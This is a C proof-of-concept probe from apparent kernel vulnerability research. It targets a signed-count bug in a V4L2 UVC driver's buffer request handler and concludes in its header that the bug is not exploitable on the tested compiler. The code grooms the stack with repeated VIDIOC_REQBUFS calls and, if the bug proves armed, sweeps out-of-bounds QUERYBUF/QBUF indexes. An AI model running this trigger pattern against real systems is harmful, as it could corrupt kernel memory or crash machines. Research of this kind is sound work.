/*
 * trig5434.c - NEGATIVE-EVIDENCE probe for the signed-count candidate in
 * uvc_buf_queue_req_bufs() (count >= 0x80000000 => int num < 0 => clamp
 * skipped, alloc loop skipped, `mem' uninitialized, buf_count would be
 * sign-extended).
 *
 * RESULT (guest, shipping gcc): the uninitialized `mem' read is folded by
 * the compiler into a deterministic ENOMEM -- no wild bq->mem, no
 * sign-extended buf_count (bq->mem stays NULL, buf_count stays 0).
 * objdump of the built module shows the fold explicitly:
 *   172a: movslq %r12d,%rdi ; jg 1635     <- signed num > 0 ? alloc : ...
 *   1733: jmpq 1688
 *   1688: mov $0xc,%r12d                  <- ret = ENOMEM, done
 * The candidate is therefore Info-level hardening (fix the UB), not an
 * exploitable memory-safety bug on this toolchain.
 *
 * The QBUF/QUERYBUF sweep below is kept to document what WOULD happen if
 * a future compiler left genuine garbage in `mem': every index check is
 * `vbuf->index >= bq->buf_count' and would be dead for buf_count =
 * 0xFFFFFFFF80000000.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

#define V4L2_BUF_TYPE_VIDEO_CAPTURE 1
#define V4L2_MEMORY_MMAP 1

struct v4l2_requestbuffers_m {
	uint32_t count;
	uint32_t type;
	uint32_t memory;
	uint32_t reserved[2];
};				/* 20 bytes */

struct v4l2_buffer_m {
	uint32_t index;
	uint32_t type;
	uint32_t bytesused;
	uint32_t flags;
	uint32_t field;
	uint32_t pad1;
	int64_t tv_sec;
	int64_t tv_usec;
	uint32_t tc[4];
	uint32_t sequence;
	uint32_t memory;
	uint32_t pad2;
	uint64_t m_offset;
	uint32_t length;
	uint32_t input;
	uint32_t reserved;
	uint32_t pad3;
};				/* 88 bytes, amd64 mirror */

#define VIDIOC_REQBUFS _IOWR('V', 8, struct v4l2_requestbuffers_m)
#define VIDIOC_QUERYBUF _IOWR('V', 9, struct v4l2_buffer_m)
#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer_m)

static int devfd = -1;

static int
reqbufs(uint32_t count, uint32_t *out)
{
	struct v4l2_requestbuffers_m rb;

	memset(&rb, 0, sizeof(rb));
	rb.count = count;
	rb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
	rb.memory = V4L2_MEMORY_MMAP;
	if (ioctl(devfd, VIDIOC_REQBUFS, &rb) != 0)
		return (-1);
	if (out)
		*out = rb.count;
	return (0);
}

int
main(void)
{
	struct v4l2_buffer_m vb;
	uint32_t got = 0;
	int i, r;

	devfd = open("/dev/video96", O_RDWR);
	if (devfd < 0) {
		printf("NEG5434: open /dev/video96: %s (uid=%d)\n",
		    strerror(errno), getuid());
		return (1);
	}
	printf("NEG5434: opened /dev/video96 as uid=%d\n", getuid());

	for (i = 0; i < 4; i++) {
		reqbufs(1, NULL);	/* stack groom: leave a real ptr */
		r = reqbufs(0x80000000u, &got);
		printf("NEG5434: attempt %d: REQBUFS(0x80000000) ret=%d "
		    "errno=%d(%s) count=0x%x\n", i, r, errno,
		    strerror(errno), got);
	}
	if (r == 0) {
		printf("NEG5434: ARMED?! (compiler did NOT fold) - running "
		    "the OOB sweep\n");
		for (i = 8; i < 24; i++) {
			memset(&vb, 0, sizeof(vb));
			vb.index = i;
			vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
			vb.memory = V4L2_MEMORY_MMAP;
			r = ioctl(devfd, VIDIOC_QUERYBUF, &vb);
			printf("NEG5434: QUERYBUF(%d) ret=%d errno=%d\n", i, r,
			    errno);
		}
		memset(&vb, 0, sizeof(vb));
		vb.index = 16;
		vb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
		vb.memory = V4L2_MEMORY_MMAP;
		r = ioctl(devfd, VIDIOC_QBUF, &vb);
		printf("NEG5434: QBUF(16) ret=%d errno=%d\n", r, errno);
	} else {
		printf("NEG5434: confirmed ENOMEM fold - no wild bq->mem on "
		    "this toolchain (see disassembly note in header)\n");
	}
	return (0);
}
